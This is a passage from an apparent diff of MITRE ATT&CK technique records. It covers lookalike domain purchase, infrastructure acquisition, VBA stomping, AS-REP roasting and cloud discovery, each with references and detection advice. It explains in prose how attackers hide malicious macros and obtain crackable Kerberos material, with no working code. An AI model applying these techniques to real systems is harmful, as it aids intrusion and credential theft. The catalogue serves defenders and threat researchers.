lifecycle, such as during Command and Control.",False,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1583/001', 'external_id': 'T1583.001'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/630.html', 'external_id': 'CAPEC-630'}, {'source_name': 'CISA MSS Sep 2020', 'description': 'CISA. (2020, September 14). Alert (AA20-258A): Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity. Retrieved October 1, 2020.', 'url': 'https://us-cert.cisa.gov/ncas/alerts/aa20-258a'}, {'source_name': 'FireEye APT28', 'description': 'FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf'}, {'source_name': 'PaypalScam', 'description': ""Bob Sullivan. (2000, July 24). PayPal alert! Beware the 'PaypaI' scam. Retrieved March 2, 2017."", 'url': 'https://www.zdnet.com/article/paypal-alert-beware-the-paypai-scam-5000109103/'}, {'source_name': 'CISA IDN ST05-016', 'description': 'CISA. (2019, September 27). Security Tip (ST05-016): Understanding Internationalized Domain Names. Retrieved October 20, 2020.', 'url': 'https://us-cert.cisa.gov/ncas/tips/ST05-016'}, {'source_name': 'Mandiant APT1', 'description': 'Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf'}, {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'}]",1.1,attack-pattern,attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-09-30T17:09:31.878Z,2021-10-16T17:09:26.334Z,Domains,"Adversaries may purchase domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. Adversaries can use purchased domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries can also use internationalized domain names (IDNs) to create visually similar lookalike domains for use in operations.(Citation: CISA IDN ST05-016) -Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)",attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3,attack-pattern,['resource-development'],2021-04-15T02:50:38.792Z,2020-09-30T17:09:31.878Z,"Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics. +Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)",['resource-development'],https://attack.mitre.org/techniques/T1583/001,mitre-attack,T1583.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Wes Hurd', 'Vinayak Wadhwa, Lucideus', 'Deloitte Threat Library Team']","['Domain Name: Active DNS', 'Domain Name: Passive DNS', 'Domain Name: Domain Registration']",,"Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.(Citation: ThreatConnect Infrastructure Dec 2020) -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.",,"['Wes Hurd', 'Vinayak Wadhwa, Lucideus', 'Deloitte Threat Library Team']",,,['PRE'],,CAPEC-630,https://capec.mitre.org/data/definitions/630.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1583', 'url': 'https://attack.mitre.org/techniques/T1583'}, {'source_name': 'TrendmicroHideoutsLease', 'description': 'Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.', 'url': 'https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.0,False,https://attack.mitre.org/techniques/T1583,mitre-attack,T1583,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Acquire Infrastructure,"Adversaries may buy, lease, or rent infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.",True,,['PRE'],,CAPEC-630,https://capec.mitre.org/data/definitions/630.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1583', 'external_id': 'T1583'}, {'source_name': 'TrendmicroHideoutsLease', 'description': 'Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.', 'url': 'https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf'}, {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'}, {'source_name': 'Mandiant SCANdalous Jul 2020', 'description': 'Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.', 'url': 'https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation'}, {'source_name': 'Koczwara Beacon Hunting Sep 2021', 'description': 'Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.', 'url': 'https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2'}]",1.1,attack-pattern,attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-09-30T16:37:40.271Z,2021-10-17T15:45:02.209Z,Acquire Infrastructure,"Adversaries may buy, lease, or rent infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase. -Use of these infrastructure solutions allows an adversary to stage, launch, and execute an operation. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contact to third-party web services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.",attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2,attack-pattern,['resource-development'],2021-04-15T02:53:19.397Z,2020-09-30T16:37:40.271Z,"Consider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information. Much of this activity may take place outside the visibility of the target organization, making detection of this behavior difficult. +Use of these infrastructure solutions allows an adversary to stage, launch, and execute an operation. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contact to third-party web services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.",['resource-development'],https://attack.mitre.org/techniques/T1583,mitre-attack,T1583,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Internet Scan: Response Metadata', 'Internet Scan: Response Content', 'Domain Name: Active DNS', 'Domain Name: Passive DNS', 'Domain Name: Domain Registration']",,"Consider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1564.007', 'url': 'https://attack.mitre.org/techniques/T1564/007'}, {'source_name': 'FireEye VBA stomp Feb 2020', 'url': 'https://www.fireeye.com/blog/threat-research/2020/01/stomp-2-dis-brilliance-in-the-visual-basics.html', 'description': 'Cole, R., Moore, A., Stark, G., Stancill, B. (2020, February 5). STOMP 2 DIS: Brilliance in the (Visual) Basics. Retrieved September 17, 2020.'}, {'source_name': 'Evil Clippy May 2019', 'url': 'https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/', 'description': 'Hegt, S. (2019, May 5). Evil Clippy: MS Office maldoc assistant. Retrieved September 17, 2020.'}, {'source_name': 'Microsoft _VBA_PROJECT Stream', 'url': 'https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/ef7087ac-3974-4452-aab2-7dba2214d239', 'description': 'Microsoft. (2020, February 19). 2.3.4.1 _VBA_PROJECT Stream: Version Dependent Project Information. Retrieved September 18, 2020.'}, {'source_name': 'Walmart Roberts Oct 2018', 'url': 'https://medium.com/walmartglobaltech/vba-stomping-advanced-maldoc-techniques-612c484ab278', 'description': 'Sayre, K., Ogden, H., Roberts, C. (2018, October 10). VBA Stomping — Advanced Maldoc Techniques. Retrieved September 17, 2020.'}, {'source_name': 'pcodedmp Bontchev', 'url': 'https://github.com/bontchev/pcodedmp', 'description': 'Bontchev, V. (2019, July 30). pcodedmp.py - A VBA p-code disassembler. Retrieved September 17, 2020.'}, {'source_name': 'oletools toolkit', 'url': 'https://github.com/decalage2/oletools', 'description': 'decalage2. (2019, December 3). python-oletools. Retrieved September 18, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1564/007,mitre-attack,T1564.007,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,VBA Stomping,"Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020) +Once adversaries have provisioned infrastructure (ex: a server for use in command and control), internet scans may help proactively discover adversary acquired infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",False,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1564/007', 'external_id': 'T1564.007'}, {'source_name': 'FireEye VBA stomp Feb 2020', 'description': 'Cole, R., Moore, A., Stark, G., Stancill, B. (2020, February 5). STOMP 2 DIS: Brilliance in the (Visual) Basics. Retrieved September 17, 2020.', 'url': 'https://www.fireeye.com/blog/threat-research/2020/01/stomp-2-dis-brilliance-in-the-visual-basics.html'}, {'source_name': 'Evil Clippy May 2019', 'description': 'Hegt, S. (2019, May 5). Evil Clippy: MS Office maldoc assistant. Retrieved September 17, 2020.', 'url': 'https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/'}, {'source_name': 'Microsoft _VBA_PROJECT Stream', 'description': 'Microsoft. (2020, February 19). 2.3.4.1 _VBA_PROJECT Stream: Version Dependent Project Information. Retrieved September 18, 2020.', 'url': 'https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/ef7087ac-3974-4452-aab2-7dba2214d239'}, {'source_name': 'Walmart Roberts Oct 2018', 'description': 'Sayre, K., Ogden, H., Roberts, C. (2018, October 10). VBA Stomping — Advanced Maldoc Techniques. Retrieved September 17, 2020.', 'url': 'https://medium.com/walmartglobaltech/vba-stomping-advanced-maldoc-techniques-612c484ab278'}, {'source_name': 'pcodedmp Bontchev', 'description': 'Bontchev, V. (2019, July 30). pcodedmp.py - A VBA p-code disassembler. Retrieved September 17, 2020.', 'url': 'https://github.com/bontchev/pcodedmp'}, {'source_name': 'oletools toolkit', 'description': 'decalage2. (2019, December 3). python-oletools. Retrieved September 18, 2020.', 'url': 'https://github.com/decalage2/oletools'}]",1.1,attack-pattern,attack-pattern--c898c4b5-bf36-4e6e-a4ad-5b8c4c13e35b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-09-17T12:51:40.845Z,2021-10-15T14:02:07.944Z,VBA Stomping,"Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020) MS Office documents with embedded VBA content store source code inside of module streams. Each module stream has a PerformanceCache that stores a separate compiled version of the VBA source code known as p-code. The p-code is executed when the MS Office version specified in the _VBA_PROJECT stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.(Citation: Evil Clippy May 2019)(Citation: Microsoft _VBA_PROJECT Stream) -An adversary may hide malicious VBA code by overwriting the VBA source code location with zero’s, benign code, or random bytes while leaving the previously compiled malicious p-code. Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. If the VBA source code is removed, some tools might even think that there are no macros present. If there is a version match between the _VBA_PROJECT stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.(Citation: Walmart Roberts Oct 2018)(Citation: FireEye VBA stomp Feb 2020)(Citation: pcodedmp Bontchev)",attack-pattern--c898c4b5-bf36-4e6e-a4ad-5b8c4c13e35b,attack-pattern,['defense-evasion'],2020-09-23T11:31:50.407Z,2020-09-17T12:51:40.845Z,"Detection efforts should be placed finding differences between VBA source code and p-code.(Citation: Walmart Roberts Oct 2018) VBA code can be extracted from p-code before execution with tools such as the pcodedmp disassembler. The oletools toolkit leverages the pcodedmp disassembler to detect VBA stomping by comparing keywords present in the VBA source code and p-code.(Citation: pcodedmp Bontchev)(Citation: oletools toolkit) +An adversary may hide malicious VBA code by overwriting the VBA source code location with zero’s, benign code, or random bytes while leaving the previously compiled malicious p-code. Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. If the VBA source code is removed, some tools might even think that there are no macros present. If there is a version match between the _VBA_PROJECT stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.(Citation: Walmart Roberts Oct 2018)(Citation: FireEye VBA stomp Feb 2020)(Citation: pcodedmp Bontchev)",['defense-evasion'],https://attack.mitre.org/techniques/T1564/007,mitre-attack,T1564.007,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Rick Cole, Mandiant']","['Script: Script Execution', 'File: File Metadata']",,"Detection efforts should be placed finding differences between VBA source code and p-code.(Citation: Walmart Roberts Oct 2018) VBA code can be extracted from p-code before execution with tools such as the pcodedmp disassembler. The oletools toolkit leverages the pcodedmp disassembler to detect VBA stomping by comparing keywords present in the VBA source code and p-code.(Citation: pcodedmp Bontchev)(Citation: oletools toolkit) -If the document is opened with a Graphical User Interface (GUI) the malicious p-code is decompiled and may be viewed. However, if the PROJECT stream, which specifies the project properties, is modified in a specific way the decompiled VBA code will not be displayed. For example, adding a module name that is undefined to the PROJECT stream will inhibit attempts of reading the VBA source code through the GUI.(Citation: FireEye VBA stomp Feb 2020)","['Script: Script Execution', 'File: File Content']","['Rick Cole, FireEye']",,['User'],"['Linux', 'Windows', 'macOS']",,,,['MS Office version specified in _VBA_PROJECT stream must match host'],,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1558.004', 'url': 'https://attack.mitre.org/techniques/T1558/004'}, {'source_name': 'Harmj0y Roasting AS-REPs Jan 2017', 'url': 'http://www.harmj0y.net/blog/activedirectory/roasting-as-reps/', 'description': 'HarmJ0y. (2017, January 17). Roasting AS-REPs. Retrieved August 24, 2020.'}, {'source_name': 'Microsoft Kerberos Preauth 2014', 'url': 'https://social.technet.microsoft.com/wiki/contents/articles/23559.kerberos-pre-authentication-why-it-should-not-be-disabled.aspx', 'description': 'Sanyal, M.. (2014, March 18). Kerberos Pre-Authentication: Why It Should Not Be Disabled. Retrieved August 25, 2020.'}, {'source_name': 'Stealthbits Cracking AS-REP Roasting Jun 2019', 'url': 'https://blog.stealthbits.com/cracking-active-directory-passwords-with-as-rep-roasting/', 'description': 'Jeff Warren. (2019, June 27). Cracking Active Directory Passwords with AS-REP Roasting. Retrieved August 24, 2020.'}, {'description': 'Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.', 'source_name': 'SANS Attacking Kerberos Nov 2014', 'url': 'https://redsiege.com/kerberoast-slides'}, {'url': 'https://adsecurity.org/?p=2293', 'description': 'Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.', 'source_name': 'AdSecurity Cracking Kerberos Dec 2015'}, {'url': 'https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/', 'description': 'Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.', 'source_name': 'Microsoft Detecting Kerberoasting Feb 2018'}, {'source_name': 'Microsoft 4768 TGT 2017', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768', 'description': 'Microsoft. (2017, April 19). 4768(S, F): A Kerberos authentication ticket (TGT) was requested. Retrieved August 24, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.0,True,https://attack.mitre.org/techniques/T1558/004,mitre-attack,T1558.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,AS-REP Roasting,"Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002) Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017) +If the document is opened with a Graphical User Interface (GUI) the malicious p-code is decompiled and may be viewed. However, if the PROJECT stream, which specifies the project properties, is modified in a specific way the decompiled VBA code will not be displayed. For example, adding a module name that is undefined to the PROJECT stream will inhibit attempts of reading the VBA source code through the GUI.(Citation: FireEye VBA stomp Feb 2020)",True,['User'],"['Linux', 'Windows', 'macOS']",,,,['MS Office version specified in _VBA_PROJECT stream must match host'],,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1558/004', 'external_id': 'T1558.004'}, {'source_name': 'Harmj0y Roasting AS-REPs Jan 2017', 'description': 'HarmJ0y. (2017, January 17). Roasting AS-REPs. Retrieved August 24, 2020.', 'url': 'http://www.harmj0y.net/blog/activedirectory/roasting-as-reps/'}, {'source_name': 'Microsoft Kerberos Preauth 2014', 'description': 'Sanyal, M.. (2014, March 18). Kerberos Pre-Authentication: Why It Should Not Be Disabled. Retrieved August 25, 2020.', 'url': 'https://social.technet.microsoft.com/wiki/contents/articles/23559.kerberos-pre-authentication-why-it-should-not-be-disabled.aspx'}, {'source_name': 'Stealthbits Cracking AS-REP Roasting Jun 2019', 'description': 'Jeff Warren. (2019, June 27). Cracking Active Directory Passwords with AS-REP Roasting. Retrieved August 24, 2020.', 'url': 'https://blog.stealthbits.com/cracking-active-directory-passwords-with-as-rep-roasting/'}, {'source_name': 'SANS Attacking Kerberos Nov 2014', 'description': 'Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.', 'url': 'https://redsiege.com/kerberoast-slides'}, {'source_name': 'AdSecurity Cracking Kerberos Dec 2015', 'description': 'Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.', 'url': 'https://adsecurity.org/?p=2293'}, {'source_name': 'Microsoft Detecting Kerberoasting Feb 2018', 'description': 'Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.', 'url': 'https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/'}, {'source_name': 'Microsoft 4768 TGT 2017', 'description': 'Microsoft. (2017, April 19). 4768(S, F): A Kerberos authentication ticket (TGT) was requested. Retrieved August 24, 2020.', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768'}]",1.0,attack-pattern,attack-pattern--3986e7fd-a8e9-4ecb-bfc6-55920855912b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-08-24T13:43:00.028Z,2021-06-07T19:23:33.039Z,AS-REP Roasting,"Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002) Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017) Preauthentication offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002). When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user’s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user’s password.(Citation: Microsoft Kerberos Preauth 2014) @@ -640,310 +789,323 @@ For each account found without preauthentication, an adversary may send an AS-RE An account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001) with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019) -Cracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)",attack-pattern--3986e7fd-a8e9-4ecb-bfc6-55920855912b,attack-pattern,['credential-access'],2020-10-20T19:30:11.783Z,2020-08-24T13:43:00.028Z,"Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4768 and 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17], pre-authentication not required [Type: 0x0]).(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: Microsoft 4768 TGT 2017)",['Active Directory: Active Directory Credential Request'],"['James Dunn, @jamdunnDFW, EY', 'Swapnil Kumbhar', 'Jacques Pluviose, @Jacqueswildy_IT', 'Dan Nutting, @KerberToast']",,['User'],['Windows'],,,,['Valid domain account'],,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1580', 'url': 'https://attack.mitre.org/techniques/T1580'}, {'source_name': 'Amazon Describe Instance', 'url': 'https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html', 'description': 'Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020.'}, {'source_name': 'Amazon Describe Instances API', 'url': 'https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html', 'description': 'Amazon. (n.d.). DescribeInstances. Retrieved May 26, 2020.'}, {'source_name': 'Google Compute Instances', 'url': 'https://cloud.google.com/sdk/gcloud/reference/compute/instances/list', 'description': 'Google. (n.d.). gcloud compute instances list. Retrieved May 26, 2020.'}, {'description': 'Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.', 'url': 'https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest', 'source_name': 'Microsoft AZ CLI'}, {'source_name': 'Expel IO Evil in AWS', 'url': 'https://expel.io/blog/finding-evil-in-aws/', 'description': 'A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.'}, {'source_name': 'Mandiant M-Trends 2020', 'url': 'https://content.fireeye.com/m-trends/rpt-m-trends-2020', 'description': 'Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",1.1,False,https://attack.mitre.org/techniques/T1580,mitre-attack,T1580,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Cloud Infrastructure Discovery,"An adversary may attempt to discover resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services. +Cracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)",['credential-access'],https://attack.mitre.org/techniques/T1558/004,mitre-attack,T1558.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Yossi Nisani, Cymptom', 'James Dunn, @jamdunnDFW, EY', 'Swapnil Kumbhar', 'Jacques Pluviose, @Jacqueswildy_IT', 'Dan Nutting, @KerberToast']",['Active Directory: Active Directory Credential Request'],,"Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4768 and 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17], pre-authentication not required [Type: 0x0]).(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: Microsoft 4768 TGT 2017)",True,['User'],['Windows'],,,,['Valid domain account'],,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1580', 'external_id': 'T1580'}, {'source_name': 'Amazon Describe Instance', 'description': 'Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020.', 'url': 'https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html'}, {'source_name': 'Amazon Describe Instances API', 'description': 'Amazon. (n.d.). DescribeInstances. Retrieved May 26, 2020.', 'url': 'https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html'}, {'source_name': 'AWS Get Public Access Block', 'description': 'Amazon Web Services. (n.d.). Retrieved May 28, 2021.', 'url': 'https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetPublicAccessBlock.html'}, {'source_name': 'Google Compute Instances', 'description': 'Google. (n.d.). gcloud compute instances list. Retrieved May 26, 2020.', 'url': 'https://cloud.google.com/sdk/gcloud/reference/compute/instances/list'}, {'source_name': 'Microsoft AZ CLI', 'description': 'Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.', 'url': 'https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest'}, {'source_name': 'Expel IO Evil in AWS', 'description': 'A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.', 'url': 'https://expel.io/blog/finding-evil-in-aws/'}, {'source_name': 'Mandiant M-Trends 2020', 'description': 'Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.', 'url': 'https://content.fireeye.com/m-trends/rpt-m-trends-2020'}, {'source_name': 'AWS Describe DB Instances', 'description': 'Amazon Web Services. (n.d.). Retrieved May 28, 2021.', 'url': 'https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBInstances.html'}]",1.2,attack-pattern,attack-pattern--57a3d31a-d04f-4663-b2da-7df8ec3f8c9d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-08-20T17:51:25.671Z,2021-09-02T14:42:19.761Z,Cloud Infrastructure Discovery,"An adversary may attempt to discover resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services. -Cloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, as well as the ListBuckets API that returns a list of all buckets owned by the authenticated 